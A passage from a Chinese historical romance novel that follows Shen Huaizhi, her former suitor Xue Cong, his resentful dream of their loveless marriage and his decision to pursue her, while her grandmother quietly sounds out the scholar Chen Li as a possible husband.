陈理这个香饵再钓老夫人一阵子吧,来自南方的消息应该不会拖太久了。 *** 薛琮今日回府较早,人一回来就去寻薛太夫人。 太夫人此时正在花园的池塘边上喂鱼,经过一个冬天的老实休眠,春日艳阳下池塘里的金鱼这会儿十分活泼好动,为了觅食个个跳得极欢。 看到孙子出现,太夫人好心情的道,“今天这是刮得什么风啊,怎么把我们的大忙人给吹到了祖母这里。” 薛琮给祖母问安后,在池塘边的石桌旁坐下,为太夫人换掉稍微有些冷了的红枣茶,这才说起正事,“我想和祖母,谈一谈我的婚事。” “你的婚事?”太夫人放下鱼食,接过嬷嬷递来的手帕擦干净手,这才亲昵的道,“之前和沈家商量婚事未成,你这是有了新想法?” “对,”薛琮点头应道,“我想和祖母谈的,正是沈家。” “说吧,沈家在你这里,是非他不可,还是被排除出局了?”太夫人也不问发生了什么,只关心结果。 薛琮停顿了一下,然后语气如常的道,“不必再考虑沈家,永嘉侯府需要新的主母人选。” 主母,太夫人目光淡淡的看了一眼孙子,她并不清楚自己的宝贝孙子有没有注意到他的用词,之前她提到沈家那位姑娘时,在孙子面前一向喜欢用妻子这个词作称呼,但他这次却偏偏说的是侯府的主母,这其中微妙,恐怕只有同为女子的人才能体会出来。 但太夫人此刻并不想戳破这些,她只需要知道,孙子和薛家都需要一位新的妻子人选就可以了。 正好,她手中确实还有备用人选,这也是上次自崇福寺回来后她专门着人准备的,大概也算是人老成精后的一种直觉吧。 现在,这份人选名单就派上了用场。 “祖母这里还有两位不错的人选,一位是安远伯府嫡出的三姑娘,容貌清秀,性情温柔贤淑,称得上是知书达理,一位是礼部侍郎严大人家的嫡长女……” 将两个人选的基本情况简单介绍了一下,太夫人却没能等来薛琮的反应,察觉到孙子脸上的心不在焉,她神色平静的道,“若是这会儿心思不在此处,便等下次再说吧。” 看着这位与自己相依为命的老人,薛琮有些愧疚的道,“多谢祖母为我费心,孙儿还有点事情需要考虑,婚事一切听凭祖母安排。” “既然你这么说,那祖母就多费些心吧,”太夫人道,“你还是去忙你的正事吧,祖母出来也有一段时间了,再坐一会儿就回小佛堂了。” 看着孙子起身告辞后疾步离开的背影,太夫人目光深深,神情阴郁,她总希望孩子不要像父母,但偏偏,有时候就会事与愿违。 最后,她拿着佛珠又去了小佛堂,看着佛龛上面目慈悲的神像,虔诚的念经拜佛叩首跪拜,“佛祖保佑,愿我的孙儿不要重蹈前人覆辙。” 只希望,他的理智与无情,能当真护好他那颗心。 第23章 第23章—— 前两日接连有雨,沈怀栀没能去小青山,等今日天一放晴,她立刻带着人出门去了。 沈老夫人早知晓孙女的行程安排,因此除了细心叮嘱她让她一定要同文谦先生联络好关系外,便不再多加干涉,至于沈怀栀早已拜师成功这件事,除了她和冬青两个人知晓外,此时所有人还一概不知。 因为前两日的雨,林间山路多少有些难走,于是沈怀栀主仆两人今天换了其他方向进山,南面为了赏景的关系修有专门的石阶,虽然绕路会多花一些时间,但路至少好走很多。 如今山上的桃花虽落了许多,但仍旧有诸多鲜花盛开,赏景踏青的人亦是不少,众人一边看景一边行路,也并不算无趣。 “姑娘,我好像看到了侯府的马车。”视线四顾间,冬青突然道,而她口中的侯府,自然只会是永嘉侯府。 沈怀栀顺着冬青的视线看过去,虽有些远,但以她对薛家徽记的熟悉,毫无疑问,确实是侯府的马车。 薛琮一个武将出身的人日常出行多骑马,那能坐马车出现在这里的,当然唯有太夫人一人。 联想到她前几日的拒婚和薛琮一贯的心高气傲,以及这位太夫人堪称寡淡的日常,对方出现在这景致优美之地的目的不言而喻。 这些东西沈怀栀心里清楚得很,但冬青大概没想到这一茬,正有些好奇的问,“姑娘,你说薛家人出现在这里是为了什么?” “薛世子正值婚龄。”沈怀栀言简意赅道。 这下子,答案呼之欲出,冬青想起之前自家姑娘拒绝薛世子的情景,一下子恍然大悟。 所以,薛家今天大概是要相看其他人家的姑娘吧。 “动作还挺快。”冬青有些不太畅快的抱怨了一声。 沈怀栀没多说,只拍了拍她的手,“不相干的事少操心,不然老得快。” “姑娘看得也太开了,”冬青无奈道,“这份清醒,婢子真的是不及。” 虽说她是姑娘最亲近信任的心腹,但有时冬青也是摸不清对方的想法的,从前执迷是她,现在幡然醒悟和铁石心肠也是她,总之,姑娘无论是对自己还是对其他人,有时候都怪狠心的。 当然了,她是很乐意这份狠心一直持续下去的,她一直不觉得薛世子是姑娘的良配,而且人狠心一点,好过其他人对自己狠心。 经过这个短暂的小插曲之后,两人很快到达文谦先生居住的竹林,只是两人刚到,就发现了另外一位不速之客。 竹林里石桌旁,姚文廉正同一位年龄相仿蓄着美髯的中年文士交谈,看到沈怀栀出现,他朝学生招了招手,“真珠,过来,见过你严伯父。” 沈怀栀上前,依言行礼,“小女见过严伯父。” “这位是?”中年文士有些疑惑的看向姚文廉,“许是我记忆模糊了,不知是家里哪位侄女?” “一位故交之女,”姚文廉用一种有些亲近的口吻道,“正好最近我暂居小青山,年轻小辈担心我,就时常过来探望,十分懂事贴心。” 说着也向沈怀栀介绍道,“真珠,你这位严伯父是我早些年在云林书院求学时的同窗,关系还算不错,如今在朝中已高居礼部侍郎之位,一向备受圣人看重。” 所以,这是一位官运亨通的旧交,但只看老师未曾透露二人关系,只怕这份所谓旧交的交情要打很大折扣。 既然老师这里有客人,沈怀栀也暂时做了个陪客,以半个主人之姿在一旁煮茶备点心,做足了孝顺后辈的模样。 等茶水续过三轮后,严大人终于依依不舍的选择了告辞,“今日愚兄本是陪家中女眷出门踏青,谁知道会在这里遇到贤弟,故交重逢,一时间不免多话,还望贤弟海涵,等下次有时间,咱们再好好重聚,说些贴心话。” “严兄客气了。”姚文廉笑道,“以严兄常日之忙碌,实在不必牵挂我这幽居山野纵情山水之人,等来日春光更好时,我再同严兄痛饮一杯水酒。” 若非姚文廉无意留客的心思太明显,严大人怎么都要在这里用过午饭再走,他今日背负着使命而来,虽然没想过能轻易达成目的,但这位如今名满天下的旧友对待故交委实无情了一些。 果然,有些人骨子里的清高当真是一如既往。 想到这儿,他心中惋惜,临走前,视线不由自主的在沈怀栀身上转了一圈儿。 这个所谓的故交之女,似乎很得姚文廉看重,或许会是一个破局的契机。 等人走后,沈怀栀在老师身旁坐下,看着对方面上厌倦神色,关心道,“老师似乎很不喜欢那位严大人。” “官场中人,清正自持者少,同流合污者众,”姚文廉淡淡道,“不过这也是世间常态,不值得非议,怕只怕,为官者庸碌且无能,只会媚上欺下,很不巧,这位严大人正是其中佼佼者。” “所以,不管官员是清正廉洁也好,还是以权谋私也罢,最可恨者不过无能庸碌。”沈怀栀总结道,“老师这个想法,我是认同的。” “看出来了,”姚文廉露出真心笑容, “你那些文稿,为师一读再读,很清楚你是个什么性子,单看你办事的手段,就知道不是个迂腐之人。” “因为世间从不是非黑即白,”沈怀栀沉默了一会儿才道,“我也是花了很久才明白这个道理。” “身处帝京这个世间最繁华富贵的名利场,确实得有这个觉悟,”姚文廉道,“站得本就比一般人高,自然要肩负起更多的责任。” “不过可惜,很多高位者,往往囿于私欲,而这些人的私欲,有时候又十分可怕。” 这话沈怀栀是很赞同的,上辈子经历过圣人和光宗动荡两朝后,薛琮扶持小皇帝登位揽权摄政虽让人诟病,但更多的人却是松了一口气,毕竟,圣人晚年昏庸苛刻,光宗在位时刚愎自用胡作非为,实在是闹出了不少乱子,以致于许多人扛到最后早已是心神俱疲。 略过这个稍显严肃的话题后,姚文廉又提起了那位严大人,“我虽然不在朝中,但也有些消息途径,严侍郎此人早已投靠了五皇子,今日寻我正是为了拉拢,他在我这里不能如愿,说不定会将主意打到你身上,若是被他知晓你是我的弟子,只怕你的婚事会横生波折。” “五皇子此人,我极不看好,”他道,“好大喜功,自以为是,睚眦必报,御下苛刻,实非明主。” “所以,你南下的事要尽快了,为师这边,会尽量为你周旋,以免你卷入夺位漩涡。” “我明白了。”沈怀栀在这里停留许久,师徒二人说完各自关心的琐事后,又彼此交换了一下信息,最后她拿着老师抄好的经书离开了。 “等你的婚事彻底解决顺利南下后,为师也要离京了,”姚文廉道,“我打算带着你的文稿去寻一些好友,若是一切顺利的话,或许来日很快就会重逢。” 这实在是个好消息,沈怀栀满面欣喜的应下,然后踌躇满志的离了小青山。 *** 灿烂春光中,有些偶遇来得猝不及防。 沈怀栀带着冬青在桃花林间走到一半,不妨遇上了一对正在说话的年轻男女。 年轻男子身材高挑,姿容冷峻,有着一张再熟悉不过的脸,至于年轻女子,沈怀栀却不怎么眼熟,但也无意去探寻,那两人站在桃花树下,恍惚间很有几分当年雪夜中薛琮夜会太后的风采。 说话的两人似是被她们经过的脚步声打扰,下意识停止谈话看了过来,沈怀栀带着冬青目不斜视的离开,突然有些恨自己运气太差。 那人迫不及待远去的背影映在薛琮眼底,留下一片晦暗阴影,最后氤氲成无底深潭。 快步离开的两人本应该是个过眼就忘的小插曲,但偏偏有人不肯略过。 “我没记错的话,那位是沈姑娘吧?”突然开口的严姑娘道,她将眼前之人刚才的举动看在眼里,心中那点儿因为对方过于冷淡生出的不甘与怨言在顷刻间发酵,“从前听说她对世子爱慕成狂,没想到如今竟然也能做到视而不见,实在是令人惊讶。” “既然是听说,那就是捕风捉影之言,”薛琮冷声道,“严姑娘不该随意置喙他人私事。” 这样含有指责意味的冷厉言辞,纵是普通姑娘都受不住,更何况是对薛琮有那么一点儿爱慕之心的严姑娘。 对方话落,她一张脸顷刻间涨得通红,是既羞耻又愤怒,半点再待不下去。 最后,她神色匆匆的低声道了一句告辞,就红着双眼从桃花树下跑开了,徒留薛琮一人站在那里,在春风中冷峭得像一棵兀自矗立的孤冷枯树。 无情斩断自己一份姻缘的薛琮,并不为错失这位严姑娘而感到遗憾,之前他未在意祖母的安排,等今日临出发前再看,才发现是早就投了五皇子的礼部侍郎严大人之女。 如今礼部在朝中式微,这位严大人钻营有道,上了五皇子的大船,但约莫是心里打着脚踩多条船的主意,并未彻底将自己绑死在五皇子身上,是以家中儿女的婚嫁安排看起来格外清正省心,祖母大约是被对方这副做派迷惑,才选了严家女。 心中思量着这些,不影响薛琮离开的脚步,等他离开桃花林,正巧碰到一个来寻人的小和尚。 “请问是永嘉侯府薛世子吗?”年仅十一二岁的小沙弥脆生生的问道。 “正是,”薛琮道,“不知小师傅寻我是有什么事?” “那我找对人了,”小和尚笑眯眯的道,“施主,刚才有位香客托我转交一件东西给你,说是谢谢世子之前的助人为乐,她感激在心。” 话落,小沙弥将一个精心叠好的布包转交给他,然后蹦蹦跳跳的离开了。 薛琮打开布包,看到了一本抄写好的《地藏经》,显然,这是沈怀栀来兑换诺言了,用文谦先生亲手抄写的佛经来还他丰楼救人的人情。 碰巧,薛琮是知晓如今文谦先生所在的,所以,这也是她今日为何出现在小青山的理由。 实在是很巧,薛琮想,老话说,无巧不成书,巧合多了就容易有故事,但他和沈怀栀之间,再不会有什么故事,反而彻底两清。 他站在桃林边缘的凉亭里,从这里往下看去,能清楚看到山道上行走的人,沈怀栀今日穿了一身鹅黄衣裙,她在石阶上行走的姿态因着树木的遮掩时隐时现,仿佛突然开在林中的一朵娇俏黄花。 薛琮脚下碰巧有一丛随风摇摆的嫩黄小花,他看了一会儿,突然觉得这花比起艳俗的桃花要好看很多。 而另一处的严姑娘,满心不快的回到双亲身边后就开始连连抱怨,母亲自然是能与女儿共情的,哄人的时候不忘指责薛家那位世子,倒是严大人,在无意间听到“沈怀栀”这个名字后,突然来了兴趣。 “沈怀栀?你认识这个姑娘?”他问自己发脾气的女儿。 “当然认识!”严姑娘气呼呼的道,“这人在京中早就令人如雷贯耳,谁不知道沈家七姑娘从前一心追着薛世子跑啊,也就最近才安分了一点,我猜是因为薛世子不肯松口娶她,所以才死心了吧。” 女儿口中提到的沈怀栀,和严大人之前遇到的那个姑娘实在令人难以联想到一起,不过他并不在乎什么年轻姑娘的名声和风流逸闻,他更在意的,是沈家姑娘身上能牵绊到姚文廉的那份价值。 看父亲若有所思的模样,严姑娘扭了扭帕子,“父亲,你说咱们和薛家的联姻能成吗?” “成不了。”严大人语调平静,“薛琮既然没给你留情面,那就是无意婚事,等回去之后,我会让你母亲给你再挑几个好的人选。” “可是女儿……”严姑娘扭捏着说不出口,但意思很明白,她是有意于那位世子的,少女情思,如何能轻易放下,若是薛家有诚意,她是愿意嫁过去的。 “薛世子简在帝心,婚事上就会极为慎重,父亲另有打算,你们不是良配。”严大人将话说开,虽然有些事不能透露,但该让家里孩子明白的界限分寸他也从不曾轻忽,以免在外给他惹来乱子。 要知道,他是很想和薛家结亲的,可惜,他能糊弄得了那位久居内宅的薛太夫人,却过不了薛琮这一关,以对方的精明,绝不会轻易沾染任何皇子。 幸好,今天小青山之行也不算失望,到底让他抓到了几分破局的机会。 严姑娘失望于父亲的回答,即便心中仍有妄想,到底不敢违逆,只能怏怏不乐的回到了母亲身旁,靠在对方怀里整理心绪。 “放心,母亲会为我儿寻一个好夫婿的。” 沉浸在母亲的温柔声音里,年轻姑娘总算没那么难受了。 第24章 第24章—— 梦境总是不请自来。 薛琮已经习惯在自己的梦里看到沈怀栀,这似乎不过又是她成为她妻子后的普通一天。 只是他这个娶回来的妻子,有时看他充满少女的炽热与天真,有时候又冷漠得仿佛两个人可以就此分道扬镳互不相见,但更多时候,她是沉稳的安宁的,是可以作为侯府支柱一般的存在。 车马粼粼声中,两人似是刚从一场宴会归来,马车里,她放松身体靠在车厢上,一手摘发间的步摇一手拿着帕子揉捏眼角疲惫,注意到他看过来的视线,不轻不重的道,“今日王家这场宴会当真是上演了一出好戏,若不是知道王夫人还在,我还当这家里实在是没人了才让一个妾室出来待客。” 提到那位行事嚣张跋扈的妾室,她神情嘲讽的笑了笑,“不愧是宫里赐下的美人,行事颇有几分当今的风范。” 这话实在是不客气,显见她对那位圣人厌烦到何种地步。 “据说王大人从前同王夫人也是神仙眷侣伉俪情深,现在再看,”她微微摇头,满眼冷意,“相看两厌互相折磨的怨偶罢了。” 薛琮神色平静的看着她,听到自己说,“若非太过心慈手软,一早将人处理了,便不会有今日内宅不宁之祸。” “是心慈手软吗?那倒不尽然,”沈怀栀轻描淡写的道,“宫里那位虽然理政处事不如何,但挑美人的眼光倒是好得很,赏给王大人的这位美人很是妖娆楚楚,可谓是风情万种,听说自入府之后就颇得王大人宠爱,两人几乎日日都待在一处。” 说好听些是宠爱,说难听些就是宠妾灭妻,但往往,难听话里才藏着大实话。 “若我是男人,只怕也抗拒不了这般美人,”她随意笑道,“只是不知我们府上,何时会得到陛下恩赏。” 薛琮看她那副讥嘲中隐隐藏着满不在乎的态度,好像视线连同整颗心都变得更加冰冷了一些。 他看到自己伸出手,捏住了她的下巴,就在她生出不耐想要扭头摆脱他的手时,他低头,动作冷酷的朝她吻了过去。 马车里仿佛是有过旖旎的,但很快,这份旖旎就被拒绝与冷酷彻底击碎。 然而,此时的这份冷酷却不属于薛琮,它属于满眼抗拒无动于衷的沈怀栀。 即便眼前的男人是她的丈夫,给她带来了荣华富贵与身份权力,依旧不妨碍她在不爱他时抗拒他的亲近。 她可以做到温柔体贴,沉稳恭顺,在内在外都做好他的妻子与薛家的主母,但这并不影响一个本性纯粹的人在被逼到极致时坦露真正的内心与本性。 那一瞬间的反应是骗不了人的,她不愿意接受他的亲近。 即便两人是夫妻。 薛琮在自己的视线里看到了满眼冰霜的自己,心底的汹涌恨意仿佛在不断发酵,只要他愿意,当怒火倾泻而出时,毫不意外会将两个人彻底焚尽。 马车里陷入了令人难堪的沉寂,两个人谁都没有说话。 回到侯府后,两人一个神色平静一个满面冰霜,就此分别回了前院与后院。 前院书房里,忙碌公务的人本无暇分心,直到代表天子的太监送天子旨意入府。 天子降下口谕,说是嘉奖永嘉侯素日恭敬勤勉,为国尽忠,为圣人分忧,功勋卓著,是以赐下奖赏,以示帝王爱重臣子之心。 至于天子所谓的奖赏,则是几个活色生香鲜妍明媚的美人。 薛琮看着太监殷勤的笑脸和几个眉目含情的美人,心中冷笑,果真是那位陛下的手段,但凡有一点风吹草动就要作妖。 太监离开后,他看着前院站成一排的美人,朝侍从挥了挥手,“将人带到外宅去。” 早在很久之前,他就专门安排了一座宅子来安排这些类似的人,哪怕眼前这几个是宫中赐下身份不同,需要谨慎以待,他依旧将人安置到了宅子里。 这一晚,他人是在书房睡的,并未回后院,至于后院并没有人等他这件事,也早就习惯了。 次日正常上朝,下朝后他带着人骑马一路疾驰去了外宅,等下人将一众美人送至面前,他抬手示意,很快,就有人将其带去了刑房。 沈怀栀不喜欢他将有些事带回家处理,时间久了,他便习惯将脏事都在外处理了,虽然偶尔手段会血腥一点,但人在官场上混,想手段干净明哲保身是妄想。 尤其,新帝登基之后,他就被收回兵权从边关召回,一直压制在京里不挪动也不重用,处境称得上是大不如前,远不如从前圣人在位时风光。 但即便如此,他也未曾低头,尤其是在事涉某些隐秘之后。 府中属于那位的钉子和眼线是拔除不尽的,既然如此,送到手边的替罪羔羊他没道理不用来杀鸡儆猴。 于是,等他回府时,身边已多了几个堪称惊弓之鸟的娇弱美人,且人人手上缠着绷带,入侯府的模样宛如入了修罗地狱。 人被留在前院之后,薛琮径直回了后院。 夏日的风吹在身上是令人不畅快的燥,他踏进院门,听到她和一对儿女说话的声音。 她实在是位慈母,对待两个孩子太过尽心,那副事事务求尽善尽美的态度,是连薛琮都会生出嫉妒的。 幸好,他还算是位好父亲,对待两个孩子也有诸多耐心与关心,于是两个孩子待他也十分亲近,天性中对父亲的濡慕与崇拜从来未曾消减半分,亲子关系在同龄人中好得令人侧目。 沈怀栀是很会教孩子的,她教孩子爱父亲爱母亲爱自己,孩子们有时懂事听话,有时会调皮闯祸,但都不妨碍他们天性聪慧自然,像是吸足了阳光雨露茁壮成长的两棵小树苗。 至少,在薛琮眼里,他的两个儿女真的是生活幸福无忧无虑,远比小时候的他和沈怀栀过得好。 儿女面前,沈怀栀从来都很乐意和他做一对恩爱夫妻,薛琮配合她度过了一段极为温馨的亲子时间。 等两个孩子离开后,他再看她,她脸上早没了之前的盈盈笑意,正神情平淡的靠坐在榻上,撑着头闭目养神。 “宫里送来的人我安排在前院了。”薛琮淡淡道。 他一向不爱用圣人称呼如今宫里那位陛下,在薛琮心里,圣人只有一位,虽然人已不再,但恩泽依旧,在座两人都很清楚他这份心结。 闻言,沈怀栀睁开眼懒洋洋的看了过来,无可无不可的应道,“既是宫中所赐,那就是陛下恩泽,随侯爷高兴。” “若是份例需要变动,提前告知我一声,我好安排。” 这就是暗示他若是对那些美人有所宠幸,就顺其心意变更待遇的意思了。 “到时再说。”薛琮漠然道,一副不想再谈的模样。 无论从哪方面来说,这都是值得称道一声贤妻的举动了,既不妒忌,也不拈酸吃醋,贤惠又大方,实在是男人期待的完美贤妻,而不是像那位王大人的妻子那样闹得成了整个帝京的笑话。 但薛琮很清楚,自己心底没有半分满意开心,甚至于他还清楚记得很久之前沈怀栀满怀疑惑反问过他的一句话—— “这不正是侯爷所期望的贤妻与相敬如宾吗,我难道做的不好吗?” 不,她做得极好。 正因为做得太好了,薛琮才有了一种被羞辱被背弃的感觉。 但他已经不想再和无意这些的沈怀栀进行任何一点深入的商谈,将一切压在心底后,他也如她那般,过着按部就班相敬如宾的日子。 可薛琮很清楚,他心底那把火一直未曾熄灭,或许某一天会将一切焚烧殆尽,但决不是现在。 不是他还能继续容忍下去的现在。 晚间休息时,他留在了正院,临睡前,薛琮道,“过段日子我要带礼安进山。” 薛礼安是两人的第一个孩子,也是备受薛琮器重的嫡长子,身上肩负着家族的未来,所以身为父亲的薛琮对他一向看重,这份看重体现在日常生活里,就是络绎不绝的锻炼与考验。 沈怀栀轻声叹了口气,虽有些心疼,但也知道这是孩子成才 必经的一条路,因此只能同意,“我知道了。” 若是从前,薛琮一句“妇人之仁”早就说出口了,但在经历过沈怀栀太多次不冷不热的反应之后,他已经学会识趣,因而只是道,“我会照顾好他的。” 至于这份照顾是如何摔打如何磨砺考验,就不足为外人道了。 但这份态度显然是取悦了某人的,她虚应一声,心情甚好的闭上眼准备休息。 以薛琮的出色目力,即便现在夜色深深,他也能清楚看清她脸上因安心氤氲起的薄薄绯色,身上更是有一种仿佛透骨而出的香气。 那既不是胭脂水粉也不是香脂香膏,说不上是浓烈还是清淡,仿佛只有薛琮自己能闻到,他每次贴近她时,都有一种强烈的恨不得剖开咬碎她去探寻源头的欲望。 他一向是不达目的不肯罢休的,就算上次被她拒绝又如何,她现在躺在他身旁,养育着两人的儿女,日后从生到死都要和他绑在一起,他有的是时间和耐心去和她周旋。 即便有时候憎恨和自厌即将击溃两人之间这脆弱的共生关系。 深沉夜色里,薛琮心随意动,翻身覆上,这次她没再拒绝他,只是似乎总会在不经意间走神。 心中生恼的薛琮毫不客气的击溃了她走神的心思,一夜缠绵中,终于算清了那日被她拒绝的旧账。 累极的沈怀栀睡在他怀里,安静又乖巧,仿佛尽在掌控,但他清楚,只要她醒来,只要她睁开眼,她就会用那双清凌凌的充满冷漠的眼睛来看他。 即便,许多时候她已经蓄意遮掩过,但真实就是真实,总会在虚伪之中时不时透露一二,而那无意间被人窥探到的真相,已经足以让人满心厌憎。 于是,等沈怀栀醒来时,纵然他还有满腔温柔,也不想再付诸在她那无波无澜的眼神中了。 外面天色亮起,当薛琮睁开眼时,梦中的一切已经记不太清了。 这段时间他早已习惯了自己频频而生的夜梦里不停出现的沈怀栀,有些时候他能记得一些梦里的事,有些时候记不得,但无一例外,心中某种感情像是被梦境一层层叠加,逐渐变得浓厚起来。 从前,他还辨不太分明,但经过今日这个情绪强烈的梦境后,他终于彻底明白了—— 是憎恨。 他对不再喜欢他满心冷漠无情的沈怀栀那种深深的憎恨。 这份憎恨让他胸口憋闷难言,想起小青山相遇时她无情离开的背影,还有那片花瓣一般轻快雀跃的鹅黄色衣角,薛琮突然很不想她就那么轻松如愿。 她不是拒绝薛沈联姻,不想嫁他吗? 薛琮想,是时候让她空欢喜一场了,毕竟,诚如她所说,他从来不是什么正人君子。 现在,她要亲自尝一尝,招惹他的下场了。 第25章 第25章“我要娶她。” 落日余晖中,洒落一片霞光的小佛堂外,迎来了侯府的主人。 太夫人仿佛对最近频繁主动出现在面前的孙儿没有半点意外,她只是照常的念完了经拜完了佛,才在薛琮的搀扶下顺势起身。 已进入四月,春日的晚风也不再有凉意,祖孙两人安静的走在花园里,谁都没有先开口说话。 等到了一处景致不错的地方,太夫人挥挥手将服侍的一干人等遣下,“你们先下去吧,我同世子说说话。” 晚风吹来花香味,太夫人一边捻佛珠一边道,“之前严侍郎家的姑娘,如你所说,牵扯到五皇子的话,那确实不太合适,既然如此,那接下来要相看的就是安远侯府的姑娘了,关于这个人选,你确认没问题的话,祖母再做安排……” “不必了,”薛琮突然道,“祖母,我心中已经有最为合适的人选了。” 太夫人捻佛珠的动作停了一瞬,她神色平静的盯着自己的孙子,就像是在等待宣判一样,语气幽幽道,“说来听听。” “沈家。”薛琮道。 言简意赅的两个字,没有前情因由没有后缀解释,仿佛明白他只要说出口,他亲爱的祖母就能明白他到底要娶什么人。 是的,她确实很清楚,太夫人面无表情的想,从最开始到现在。 毕竟,身上流着她和薛家血脉的孙子,像他们这些人再正常不过了。 于是,她只问了一句,“你确定心意,不再更改了?” “孙儿确定。”薛琮回道。 “既然如此,那你就回吧,”太夫人淡淡道,“同沈家之间的婚事,祖母会为你费心的。” 但此时,一向贴心的人听了这话却没有离开,而是继续道,“若是沈家犹豫,祖母不妨告诉那位沈老夫人,就说薛家会拿出足够的诚意,迎沈姑娘入薛家。” “我没记错的话,沈家似乎有几位于仕途和学业上都不太得力之人。” 话音落下,太夫人终于舍得正视眼前这个为了娶妻舍得下血本的孙子,她神色与视线一样的凝重充满压迫感,似乎在剖析对方话语背后的目的与真意。 薛琮甚少因私废公,天性也厌恶这些,这次竟然退让至此,由不得她不心生思量。 所以,一桩本来十分简单的婚事,只是因为沈家的迟疑与犹豫,他就要下血本去挽回,让他这位老祖母出面,用利益去诱惑那位沈老夫人,通过暗示自己可以为沈家人解决前途问题的拙劣手段,来达成自己的目的。 这实在是个拙劣又低级的手段,完全不像她这个孙子的手笔,但偏偏,这就是薛琮的主意。 “看来你对沈姑娘是志在必得了。”太夫人淡淡道,面上不见丝毫生气模样。 “我要娶她。”短短四个字被薛琮说得沉稳坚定。 “那祖母会为你娶到她的。”太夫人也沉稳回道,“早些回去吧,祖母也要歇息了。” 此时一对祖孙之间不见平日里的亲近与亲热,两个人仿佛如出一辙的冷静与冷漠,薛琮沉默一会儿,安静行礼过后,离开了花园。 太夫人在原地站了一会儿,在最后落日余晖隐没在天际时,突然极轻极冷的笑了一声。 “薛家人,崔家人……”她缓缓踱步往前走,隐约有几声喃喃自语逸散在晚风里,“看来,你是像我和你母亲更多些。” “既然更像我和你母亲,那祖母就算是费尽心力,也要为你娶到沈七姑娘了。” *** 当陈家公子登门拜访的消息传来时,沈老夫人心情极好的结束了同五姑娘与六姑娘之间的日常寒暄。 听到“陈公子”三个字,五姑娘眼睛一亮,下意识看向祖母,但祖母却一心只想着招待贵客,并未注意其余两个孙女的反应。 见状,五姑娘有些气馁,但又莫名极不甘心,纵然这位陈公子是讨厌的老七的朋友,她也觉得自己未必没有一争之力。 自从上次被老七当面嘲讽后,她面上看似不在意,私下里却专门派人去盯着李公子的消息,果不其然,花了半个月的时间,查出了对方置外宅并有一个外室子的消息,尤其,那外宅的身份还不同寻常,乃是专门从花楼里赎身出来的姑娘。 这下子,五姑娘被气疯了,她告到母亲和祖母那里,母亲倒是愿意为她出头,偏偏祖母这边并未给出确切回答,总之,她是十分期望自己的结亲人选能换一换的,毕竟,她实在不想还没进门就给个妓子生的外室子当娘。 五姑娘这里盘算着更换婚事人选,那厢沈老夫人则在注意到进门的陈理面上的顾忌之后,很是痛快的打发了两个孙女离开,“你们去忙自己的事吧,祖母这里暂时不需要人陪,等正事忙完咱们祖孙再聚在一处说 话。” 六姑娘乖巧应下,福身离开,倒是五姑娘,磨磨蹭蹭的想要留下来,她本目光莹莹的看着陈理,想要趁机搭话,但听到一旁老夫人微咳一声后,背后像是被针扎了般,瞬间紧绷起来,再不犹豫的老实告退离开。 她是有些小心思小算盘没错,却绝对不想惹怒老夫人,这个家里,也就老七敢捋虎须了,她可没那么大的胆子和底气。 “陈公子来看花?”老夫人笑问道,“之前栀姐儿已经同我说过,我让人去将兰花送过来。” “就是可惜,她今日不在,早上出门去小青山拜访文谦先生去了,你若是不介意的话,不妨多待一会儿,说不得能等到她回来。” “麻烦老夫人了,”陈理笑道,“是晚辈冒昧前来,扰了您老人家清静。” “那倒不会,”老夫人笑道,“这清净日子过久了,我最是喜欢你们这些精神的年轻小辈,可谈不上叨扰。” 兰花被送过来,两人你来我往也算相谈甚欢,见气氛热络之后,老夫人顺势问道,“我看怀逸也到了成亲之龄,这京中好姑娘如此之多,不知家中可有安排?我老人家如今是最喜欢喝年轻人的喜酒了,这样也好让家中的孩子们沾沾喜气,早日顺利的成家立业。” 提到婚事,陈理顿了一下才道,“劳老夫人惦念,晚辈的婚事并未定下。” “哦?”老夫人似是眼前一亮,“看来你这是还未遇到喜欢的姑娘,没有生出成家之心啊。” 陈理笑笑,“大概吧,晚辈早年跟着师父学道,对成家之事并不强求。” “求道之人崇尚随心自然,是少了两分世俗之心,”老夫人笑道,“就是可惜,陈公子这般人才出众性情又好,我若是有好姑娘,必定是要将你抢回家中做个佳婿的。” 这看似无意的一番调侃,却让陈理的心骤然重重一跳。 他从来不傻,除了在沈怀栀面前总是迟钝犯糊涂,平日里还是很精明的,只不过之前一叶障目罢了。 但现在被沈老夫人蓄意一点,仿佛终于拨云见日,陈理终于明白他如今是个什么情况了。 老夫人似乎觉得,他可堪为佳婿? 至于这个佳婿配的是沈家哪个姑娘,他不用想,只看老夫人让家中其他姑娘避嫌的态度,就知道,好友七姑娘雀屏中选。 一时间,陈理难得情绪外露,坐在那里怔住了。 娶七姑娘为妻?这是他从来未曾设想过的一件事。 在他眼里,沈怀栀是性情相投的知交好友,是爱慕好友薛琮一片痴心的姑娘,就算现在改了心意,在他眼里,那也是从来不曾放在婚嫁位置上考虑过的对象。 本来他是心中清白问心无愧的,直到,被老夫人一言点醒—— 沈怀栀,不仅可以做他的知交好友,她也是可以成为他的妻子与爱侣的。 这个荒唐又合理的推论击溃了陈理从前的认知,他霍然抬头看向沈老夫人,然后在对方眼里看到了年长之人的了然与调侃。 “怀逸这是怎么了?”老夫人好整以暇的笑问,“我看你这会儿心神难安的,是不是有什么麻烦?如果需要帮助,我老人家是很乐意帮忙的。” “多谢老夫人心意,只是一点小麻烦,不妨碍的,”陈理回道,“我自己能解决。” “那就好,”老夫人道,“作为长辈,我习惯了为家中晚辈们操心,所以凡事总爱多啰嗦两句,如今操心家中孩子们的婚事,免不了要事事过问,还望怀逸别嫌我老人家多话。” “老夫人慈爱晚辈之心,令人敬佩,”陈理道,“晚辈家中祖母同您一样,也十分关爱小辈,拳拳爱意,自当感同身受。” 在老夫人看来,这位陈公子说话实在好听,总之比薛家那位世子讨喜许多,若是她来选,当第一眼就选这位陈公子,就是可惜,从前栀姐儿眼神不好,选了薛家那个冰坨子,这要是一早选了陈公子,只怕两家早已成就好事。 她心中一番唏嘘,却不妨碍嘴上同对方再客套几句,然后等陈公子提出告辞后,她也顺水推舟的送人离开。 总归今日她抛砖引玉的目的已经达到,确实需要给少经世事的年轻人一点回去仔细思考的时间。 只希望,这位陈公子不会让她失望吧。 *** 春风醉人的夜里,天上星光璀璨,无数星子宛如细碎流沙一般缀在银河中,院中躺在藤椅上的陈理看着这番美景,眼底微微失神。 他的脸上,是少见的迷惑,偶尔也会闪过几分自己都未察觉的笑意。 白天的沈府之行,沈老夫人几句充满暗示意味的话语仿佛敲破了他心底冰封已久的冰层,露出下面早就激荡不休的流水。 他和七姑娘…… 他和沈怀栀…… 有些人的名字就像是有魔力,仅仅只是从心底滑过,都会激起一片涟漪。 